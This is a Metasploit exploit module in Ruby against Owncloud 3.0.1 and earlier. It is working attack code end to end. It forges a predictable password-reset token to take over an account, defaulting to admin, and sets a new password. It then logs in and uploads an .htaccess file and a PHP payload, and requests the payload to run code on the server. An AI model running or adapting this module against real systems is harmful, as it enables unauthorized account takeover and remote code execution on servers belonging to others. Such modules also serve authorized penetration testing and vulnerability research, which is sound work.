Owncloud Account Overtake / File Upload Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Owncloud Account Overtake, File Upload Code Execution',  
'Description' => %q{  
This module exploits several vulnerabilities in Owncloud 3.0.1 and earlier in order to achieve code execution.  
},  
'Author' => [ 'Lukas Kupczyk luks[at]sploit.de' ],  
'License' => MSF_LICENSE,  
'Version' => '',  
'References' =>  
[  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Compat' =>  
{  
'ConnectionType' => 'find',  
},  
'Space' => 8000  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => '',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URI', [true, "Owncloud directory path", "/owncloud"]),  
OptString.new('USERNAME', [true, "The username to authenticate as", "admin"]),  
OptString.new('PASSWORD', [true, "New password", "metasploit"]),  
], self.class)  
end  
  
def password_reset  
res = send_request_cgi({  
'uri' => "#{datastore['URI']}/core/lostpassword/index.php",  
'method' => 'POST',  
'data' => 'user=' + datastore['USERNAME'],  
})  
  
if res.body =~ /Requested/  
print_status("Triggered password reset")  
else  
raise RuntimeError, "Error: could not trigger password reset, does the user #{datastore['USERNAME']} exist?"  
end  
end  
  
def set_new_password(token)  
res = send_request_cgi({  
'uri' => "#{datastore['URI']}/core/lostpassword/resetpassword.php?user=#{datastore['USERNAME']}&token=#{token}",  
'method' => 'POST',  
'data' => "password=#{datastore['PASSWORD']}"  
})  
  
if res.body =~ /Your password was reset/  
print_status("New password set")  
else  
raise RuntimeError, "Error: Could not set new password"  
end  
end  
  
def gen_token  
require 'digest/sha1'  
uniqid = Time.now.to_i.to_s(16)  
Digest::SHA1.hexdigest((datastore['USERNAME'].to_i + uniqid.to_i).to_s)  
end  
  
def login  
res = send_request_cgi({  
'uri' => "#{datastore['URI']}/index.php",  
'method' => 'POST',  
'data' => "user=#{datastore['USERNAME']}&password=#{datastore['PASSWORD']}",  
})  
  
if not res["Set-Cookie"]  
raise RuntimeError, "Error: Login failed"  
else  
print_status("Logged in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}")  
return res["Set-Cookie"]  
end  
end  
  
def upload(cookie, cmdscript)  
boundary = rand_text_alphanumeric(6)  
  
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"  
data << ".htaccess\r\n--#{boundary}"  
data << "\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\".htaccess\"\r\n"  
data << "Content-Type: application/octet-stream\r\n\r\n"  
data << "allow from all"  
data << "\r\n--#{boundary}--"  
  
print_status("Uploading .htaccess")  
res = send_request_raw({  
'uri' => "#{datastore['URI']}/files/ajax/upload.php",  
'method' => 'POST',  
'data' => data,  
'cookie' => cookie,  
'headers' =>  
{  
'Content-Length' => data.length,  
'Content-Type' => 'multipart/form-data; boundary=' + boundary,  
}  
})  
  
if res.code != 200  
print_error("Server returned non-200 status code (#{res.code})")  
end  
  
cmd_php = '<?php ' + payload.encoded + '?>'  
  
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"  
data << "#{cmdscript}.php\r\n--#{boundary}"  
data << "\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\"#{cmdscript}.php\"\r\n"  
data << "Content-Type: application/octet-stream\r\n\r\n"  
data << cmd_php  
data << "\r\n--#{boundary}--"  
  
print_status("Uploading payload")  
res = send_request_raw({  
'uri' => "#{datastore['URI']}/files/ajax/upload.php",  
'method' => 'POST',  
'data' => data,  
'cookie' => cookie,  
'headers' =>  
{  
'Content-Length' => data.length,  
'Content-Type' => 'multipart/form-data; boundary=' + boundary,  
}  
})  
  
if res.code != 200  
print_error("Server returned non-200 status code (#{res.code})")  
end  
end  
  
def exploit  
token = gen_token()  
print_status("Generated token: #{token}")  
  
password_reset()  
  
set_new_password(token)  
  
cookie = login()  
  
cmdscript = rand_text_alpha_lower(20)  
upload(cookie, cmdscript)  
  
# execute our payload  
res = send_request_raw({  
'uri' => "#{datastore['URI']}/data/#{datastore['USERNAME']}/files/#{cmdscript}.php",  
})  
  
handler  
end  
  
end  
`